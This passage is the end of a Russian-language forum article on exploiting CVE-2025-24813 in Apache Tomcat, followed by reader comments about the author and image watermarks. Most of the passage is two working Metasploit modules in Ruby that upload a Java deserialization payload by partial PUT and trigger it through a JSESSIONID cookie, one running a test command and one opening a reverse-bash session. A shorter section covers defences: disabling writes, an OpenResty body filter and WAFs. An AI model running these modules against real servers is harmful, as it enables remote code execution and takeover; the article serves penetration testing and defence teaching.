      java_payload = generate_java_deserialization_for_command(gadget, shell_type, command)
    rescue ::RuntimeError => e
      fail_with(Failure::BadConfig, "Payload generation failed: #{e}")
    end


    unless java_payload
      fail_with(Failure::BadConfig, 'Failed to generate Java deserialization payload')
    end


    upload_path = normalize_uri(target_uri.path, "#{session_id}.session")
    print_status("Uploading payload to: #{upload_path}")


    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => upload_path,
      'headers' => {
        'Content-Length' => java_payload.length.to_s,
        'Content-Range' => 'bytes 0-1000/1200'
      },
      'data' => java_payload
    })


    unless res && [200, 201, 204, 409].include?(res.code)
      fail_with(Failure::UnexpectedReply, "Upload failed: HTTP #{res&.code}")
    end


    print_good("Payload uploaded. Triggering via GET + JSESSIONID...")


    trigger_uri = normalize_uri(target_uri.path, 'index.jsp')
    send_request_cgi({
      'method' => 'GET',
      'uri' => trigger_uri,
      'cookie' => "JSESSIONID=.#{session_id}"
    })


    print_status("Exploit sent. If successful, command will run on target.")
  end

Самое интересное в этой строчке:

Ruby:
generate_java_deserialization_for_command(gadget, shell_type, command)

Здесь генерируется пэйлоад. В параметрах указывае гаджет для которого создается пэйлоад. Указываем тип шелла (bash, cmd, powershell) и, собственно, саму команду. Когда пэйлоад готов, отправляем его PUT-запросом.

1752175819846.png


Вариант команды из proof-of-concept не запускается, поэтому слегка видоизменил его:

Bash:
bash -c "id > /tmp/RCE; echo done >> /tmp/RCE"

Запускаем “run”, результат на сервере:

1752175838392.png


Эксплоит, выполняющий команду на сервере прекрасно работает. Создадим второй, параллельный, который будет загружать пэйлоад Метасплоита и создавать сессии. Все изменения можно будет посмотреть в приложенных файлах, здесь акцентирую внимание только на функции эксплуатации:

Ruby:
def exploit
    session_id = datastore['JSESSION_ID'] || 'hk1337'
    gadget = datastore['GADGET_CHAIN']


    print_status("Generating serialized payload using gadget chain #{gadget} with Metasploit payload...")
    java_payload = generate_java_deserialization_for_payload(gadget, payload)


    unless java_payload
      fail_with(Failure::BadConfig, 'Failed to generate Java deserialization payload')
    end


    upload_path = normalize_uri(target_uri.path, "#{session_id}.session")
    print_status("Uploading payload to: #{upload_path}")


    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => upload_path,
      'headers' => {
        'Content-Length' => java_payload.length.to_s,
        'Content-Range' => 'bytes 0-1000/1200'
      },
      'data' => java_payload
    })


    unless res && [200, 201, 204, 409].include?(res.code)
      fail_with(Failure::UnexpectedReply, "Upload failed: HTTP #{res&.code}")
    end


    print_good("Payload uploaded. Triggering via GET + JSESSIONID...")


    trigger_uri = normalize_uri(target_uri.path, 'index.jsp')
    send_request_cgi({
      'method' => 'GET',
      'uri' => trigger_uri,
      'cookie' => "JSESSIONID=.#{session_id}"
    })


    print_status("Exploit sent. If successful, you should get a session shortly.")
  end

Главное, это генерация объекта с использованием пэйлоада Метасплоита.

Ruby:
generate_java_deserialization_for_payload(gadget, payload)

Здесь уже два параметра, а не три. По умолчанию, если пользователь не меняет пэйлоад, используется cmd/unix/reverse_bash. Генератор Метасплоита возьмет набор команд этого пэйлоада и на их основе создаст сериализованный объект.

Не буду домить, результат запуска эксплоита:

1752175877766.png


Вот и все. Таким нехитрым способом мы получили готовый полноценный инструмент, который не просто чекает и выполняет какую-то команду. Наш эксплоит может создавать полноценные сессии Метасплоита со всеми вытекающими плюсами.

Метасплоит — это, в первую очередь, фреймворк. Это не инструмент для автоматического хакинга. Если относиться к нему именно так, все встает на свои места и инструмент, если не незаменимым, то крайне полезным. В примере, мы сконцентрировались исключительно на описании атаки, формируя нужны запросы. Полностью переложив вопросы создания и поддержания сессии, а также создание сериализованного объекта и сам интерфейс, инфраструктуре фреймворка. Это сильно экономит время и ресурсы.

Как защищаться?​

Первое, конечно же, сервер не должен соответствовать критериям выполнения CVE-2025-24813:
  1. DefaultServlet не должен давать возможность записи (readonly=false)
  2. Ненужные методы HTTP должны быть полностью отключены (в web.xml, Spring Filter, nginx/Apache, etc).. Белый список возможных методов и четкий контроль на всех уровнях.
  3. Если сессию нужно хранить в файле, настройте кастомную папку в Apache Tomcat
  4. Мониторьте версии используемых библиотек и публикацию уязвимостей. По возможности, обновляйте версии или дополняйте фильтрацию. Особенно касаемо популярных commons-collections, commons-beanutils, spring, log4j, jackson, и т.п..

Неплохим вариантом было бы запустить систему мониторинга, в которой можно настроить правила для обнаружения попыток атак. Отслеживать те же PUT-запросы, запросы с неожиданным типом контента, частичным содержимым.

При использовании Apache Tomcat в связке Nginx, можно реализовать фильтрацию тела на уровне nginx. Например, с помощью OpenResty (Lua + Nginx) можно написать скрипт, который будет читать ngx.req.get_body_data() и искать определенные сигнатуры даже в бинарных телах. Что-то вроед этого:

Код:
local data = ngx.req.get_body_data()
if data and string.find(data, "java/lang/Runtime", 1, true) then
    ngx.status = 403
    ngx.say("Forbidden payload detected")
    return ngx.exit(ngx.HTTP_FORBIDDEN)
end

WAF-сервисы​

Неплохой вариант защиты, это WAF. Если CloudFlare сообщают о том, что в целом у них есть защита от десериализации, то Akamai подчеркивают наличии о защиты в том числе, конкретно от CVE-2025-24813. Вероятнее всего, CF не видят смысла вводить конкретное правило для этой уязвимости, так как она должна распознаваться на основе общих маркеров.

Есть информация, что Citrix NetScaler так же защищает от CVE-2025-24813

Итоги​

Мы прошли большой путь. Начали с обзора довольно интересной уязвимости, погружаясь все глубже в глобальные вопросы десериализации в Java. Разобрали, как саму фактическую полезную нагрузку, так и написали полноценный генератор под данную цепочку гаджетов. Разобрали неплохие инструменты для упрощения тестирования атак десериализации на Java веб-приложения и серверы. Написали очередной модуль эксплоита для Metafploit Framework, познакомившись с тем, какие есть способы генерации сериализованных объектов для Java. В итоге, получив полноценную сессию в Метасплоите. В завершении, довольно подробно разобрали как можно защититься от подобных атак, включая конкретные рекомендации и инструменты.

Нельзя сказать, что статья целиком и полностью покрывает вопросы атак на десериализацию, даже в отношении только Java. Тема слишком большая для этого и чем больше закапываешься, тем больше вопросов и нюансов вылазит. Но очень надеюсь, что понимание подобных атак у вас улучшилось или посмотрели на данный тип уязвимостей под другим углом. Могу сказать за себя, во время подготовки материала, возникло большое количество вопросов, которых не касался никогда. В результате, сделал несколько довольно интересных открытий. Старался материал выстраивать так, чтобы он был полезен и с практической и с теоретической точки зрения. Причем, как для пентеста, так и для защиты. Если напишите в комментариях, насколько получилось, буду рад.
 
petrinh1988 в который раз попадаются твои статьи. Так держать! Выскажусь со своей колокольни: вот мне тебя стало интересно читать, даже когда ты освещаешь не особо интересную (лично для меня), либо уже протестированную и схаванную мной тему - с каждой новой твоей статьёй я все равно ознакамливаюсь в свободное время. Интересные мысли, краткая, структурированная и сосредоточенная на ключевых аспектах подача материала, без лишних деталей и "воды", чем, собственно и обусловлена ясность и доступность восприятия. Лаконично, по факту и без излишней теории.
Одна большая просьба. Настройки -> Добавить водяные знаки на мои изображения -> Нет
Мониторы у меня хорошие, а зрение уже нет (подушатал экранами за десятилетия, на лазерную коррекцию пока не решился, но, видимо, пора). Да и вообще водяные портят вид, копирайты ты и так проставил ;)

 
petrinh1988 в который раз попадаются твои статьи. Так держать! Выскажусь со своей колокольни: вот мне тебя стало интересно читать, даже когда ты освещаешь не особо интересную (лично для меня), либо уже протестированную и схаванную мной тему - с каждой новой твоей статьёй я все равно ознакамливаюсь в свободное время. Интересные мысли, краткая, структурированная и сосредоточенная на ключевых аспектах подача материала, без лишних деталей и "воды", чем, собственно и обусловлена ясность и доступность восприятия. Лаконично, по факту и без излишней теории.
Одна большая просьба. Настройки -> Добавить водяные знаки на мои изображения -> Нет
Мониторы у меня хорошие, а зрение уже нет (подушатал экранами за десятилетия, на лазерную коррекцию пока не решился, но, видимо, пора). Да и вообще водяные портят вид, копирайты ты и так проставил ;)

Спасибо! Я как-то и не задумывался, что водные знаки можно отключить))) Отключу.
 
petrinh1988 в который раз попадаются твои статьи. Так держать! Выскажусь со своей колокольни: вот мне тебя стало интересно читать, даже когда ты освещаешь не особо интересную (лично для меня), либо уже протестированную и схаванную мной тему - с каждой новой твоей статьёй я все равно ознакамливаюсь в свободное время. Интересные мысли, краткая, структурированная и сосредоточенная на ключевых аспектах подача материала, без лишних деталей и "воды", чем, собственно и обусловлена ясность и доступность восприятия. Лаконично, по факту и без излишней теории.
Одна большая просьба. Настройки -> Добавить водяные знаки на мои изображения -> Нет
Мониторы у меня хорошие, а зрение уже нет (подушатал экранами за десятилетия, на лазерную коррекцию пока не решился, но, видимо, пора). Да и вообще водяные портят вид, копирайты ты и так проставил ;)
Спасибо! Я как-то и не задумывался, что водные знаки можно отключить))) Отключу.
Если отключить водяные знаки, через 2 недели в телеге будут продавать статьи petrinh1988 под видом платных мануалов. Да, ИИ никто не отменял, их можно легко убрать и так. Но телеграм жители пока ленятся это делать.
Но, в целом, на усмотрение автора, т.к. в метке всё равно указан форум, а не автор.
 
Если отключить водяные знаки, через 2 недели в телеге будут продавать статьи petrinh1988 под видом платных мануалов. Да, ИИ никто не отменял, их можно легко убрать и так. Но телеграм жители пока ленятся это делать.
Но, в целом, на усмотрение автора, т.к. в метке всё равно указан форум, а не автор.
Да да. Уже давненько натыкался на статьи petrinh1988 в канале студента) Имхо- не убирай вод.знаки. Они вполне читаемые.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх